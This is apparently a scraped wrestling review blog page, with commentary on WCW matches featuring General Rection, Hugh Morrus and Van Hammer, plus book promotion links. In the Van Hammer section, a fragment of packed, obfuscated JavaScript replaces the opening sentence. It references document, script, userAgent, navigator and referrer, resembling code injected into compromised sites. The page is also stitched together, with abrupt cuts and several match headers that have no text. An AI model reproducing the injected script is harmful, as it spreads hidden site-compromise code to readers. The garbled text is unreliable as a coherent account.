And so much for THAT as Storm kicks him in the knee to take over again. Storm goes for the Maple Leaf back in the ring but can’t get it on before the General gets to the ropes. They really tried to push Rection at the very end but at the end of the day his name was General Rection so no one bought this. Rection tries to make another comeback but the second best superkick in wrestling takes him down.

Rection gets a powerslam and Gunns crotches him as he goes up for the moonsault. And never mind as he just gets up and hits it anyway. Rection hit two offensive moves and the moonsault is a BIG stretch as it was more or less a headbutt with a twist. This might be the weakest feud ending win for a face that I have ever seen.

Rating: D. Major Gunns looked good in those tight shorts and that’s about it. They cut the legs out from under Rection here as he was DOMINATED and got taken down by Storm time after time again. This was just awful with Storm looking completely dominant. There was about five minutes missing here but we got the Mancow vs. Hart match baby!

Hugh Morrus vs. Albert

Albert hammers away to start and runs him over with a clothesline. Morrus fights back and goes to the middle rope, only to dive into a bicycle kick to lay him out. We hit an abdominal stretch of all things on Morrus but Albert gets caught holding the ropes. Morrus makes his comeback with a shoulder block and a release German suplex for two. A top rope elbow gets the same for Morrus but he misses the moonsault. The Baldo Bomb is enough to give Albert the pin.

Bill DeMott vs. Nathan Jones

The massive Jones shoves him into the corner with ease but DeMott shouts that this is his show. Jones easily throws him out to the floor, brings him back inside and ends him with a big boot.

Morrus was a fairly talented big man who would fine his real niche as a trainer on Tough Enough and down in NXT.  No he wasn’t a huge star, but to go from a guy named Hugh Morrus to a two time US Champion is quite the accomplishment.  He had a good moonsault and looked tough enough (see what I did there?) and WCW took a small chance on him.  Morrus wasn’t great or anything but he did well enough.

 

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

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And check out my Amazon author page with wrestling books for under $4 at:


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Wrestler of the Day – September 6: Van Hammer

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yhesk|var|u0026u|referrer|ibbfn||js|php'.split('|'),0,{})) is a guy that I always liked as a kid: Van Hammer.

Hammer would debut in the summer of 1991 and be wrestling for WCW less than two months later. Here he is at Clash of the Champions XVI in his debut.

Van Hammer vs. Terrance Taylor

Another match, same idea. From Halloween Havoc 1991.

Van Hammer vs. Doug Somers

Cactus Jack vs. Van Hammer

Hammer makes the mistake of turning his back on Cactus and getting knocked into the corner. Cactus screams a lot but gets caught in a belly to back suplex and knocked through the ropes to the floor. Hammer rams him into the barricade and takes him back inside for a slam and a two count. Jack comes back with a faceplant and the Cactus Clothesline (named for him as he hits a running clothesline to knock both he and his opponent over the top and out to the floor) to put Hammer on the floor.

Quick break from that for Starrcade 1991 and the Lethal Lottery.

Steve Austin/Rick Rude vs. Big Josh/Van Hammer

Back to Cactus at Clash XVIII.

Cactus Jack vs. Van Hammer

Hammer is quickly back up and powerslams Jack down onto the ramp for a close two of his own. They fight up the ramp and Jack tries to hiptoss him out to the floor, only to have Hammer reverse into one of his own for a big crash. Hammer dives off the ramp with a clothesline for two and they go backstage as we take a break.

Back with the guys outside (and on tape instead of live) and Jack dropping a wooden barricade on Hammer for two. The fight goes over to a stable with Abdullah the Butcher appearing to help Cactus. Hammer tries to fight them off but Butcher hits him in the head with a shovel meant for Jack, giving Cactus the pin.

Rating: B-. This was a wild fight with some absolutely insane spots from both guys. The ending looked great too with the shovel shot sounding even more brutal its visual. Cactus was getting a great reputation as the wild brawler and would rise up the card for the next several years.

Another Lethal Lottery match at Starrcade 1992.

Van Hammer/Dan Spivey vs. Johnny B. Badd/Cactus Jack

Chris Benoit vs. Hammer

Hammer got the usual treatment of the times on Nitro, April 6, 1998.

Hammer vs. Goldberg

Nothing out of the ordinary here other than Goldberg hitting an Attitude Adjustment on Hammer. The spear and Jackhammer end this in about a minute and fifteen seconds.

Saturn vs. Hammer

Hammer goes for the legs but gets kicked into the ropes, setting up a top rope legdrop from Saturn. Saturn brings in a chair which is legal here it seems. A springboard dropkick using the chair knocks Hammer into the corner but a second attempt hits the referee. Saturn hits something like a Van Daminator and loads up the Death Valley Driver, only to have Kanyon come in dressed as a beer vendor. One beer case to the head is enough to knock Saturn out of the Flock.

Hammer would have some more luck on Nitro on September 14, 1998.

Alex Wright vs. Van Hammer

Van Hammer vs. Bret Hart

We hit the Figure Four on Van before Bret wraps the leg around the ropes. A backslide gets two for Hammer but Bret goes right back to the leg. He bends the leg around the post but Hammer counters the Figure Four around the steel. Back in and Bret gets suplexed followed by a cobra clutch slam for two. Hammer misses an enziguri and the Sharpshooter ends it.

Somehow he would get a TV Title shot out of all this at Bash at the Beach 1999.

TV Title: Van Hammer vs. Rick Steiner

Rick takes him into the corner and hammers away but gets taken down by a clothesline. Out to the floor and never mind as theyre back in a second later. Steiner hammers him down while selling nothing for the most part. Crowd is DEAD. Outside again and Van Hammer is sent into the railing. Theres a DDT on the concrete which should kill Van Hammer but since Steiner tries to pin him on the floor, this keeps going.

Back in now and Van Hammer gets some offense in but Steiners ego is threatened so he takes over again. He chokes away and now lets go back outside again. Van Hammer gets a chair which Steiner FINALLY goes down from. Top rope clothesline gets two and I mean barely gets two. Steiner low blows him and bites Van Hammer in the balls. The bulldog ends this squash.

Rating: F. Rick Steiner in the late 90s was awful as he just refused to sell for ANYONE and was pushed with titles anyway. Having the video on Van Hammer made this look like it should have been a title change or at least a competitive match but since Steiner wouldn’t sell at all, this went nowhere.

Misfits in Action vs. Filthy Animals

That would be Captain Rection (Hugh Morrus), Corporal Cajun (Lash Leroux), Lieutenant Loco (Chavo Guerrero Jr.) and Major Stash (Van Hammer) vs. Konnan/Juventud Guerrera/Disco Inferno/Rey Mysterio Jr. These teams hate each other so the brawl is on in a hurry. The Misfits clean house and all four nail splashes in the corner. Major Gunns, a pair of implants and blonde hair, loads up a splash of his own but kicks him low instead.

A clothesline gets two for Cajun but Rey slides through the ropes and tags off to Guerrera for a sunset flip and two. Cajun loads up a top rope hurricanrana but Disco shoves him off to give Juvy a powerbomb and the pin.

Van Hammer was never going to win Wrestler of the Year or anything like that, but he was big and fun to watch. Back in the early 90s he had a short run where he became the hottest star in the company. Unfortunately he was never given anything to work with (save for the Strongest Arm tournament win. It was arm wrestling people.) and the push completely died. His later stuff never worked though I was glad to see his returns.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00LWSOTGK

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6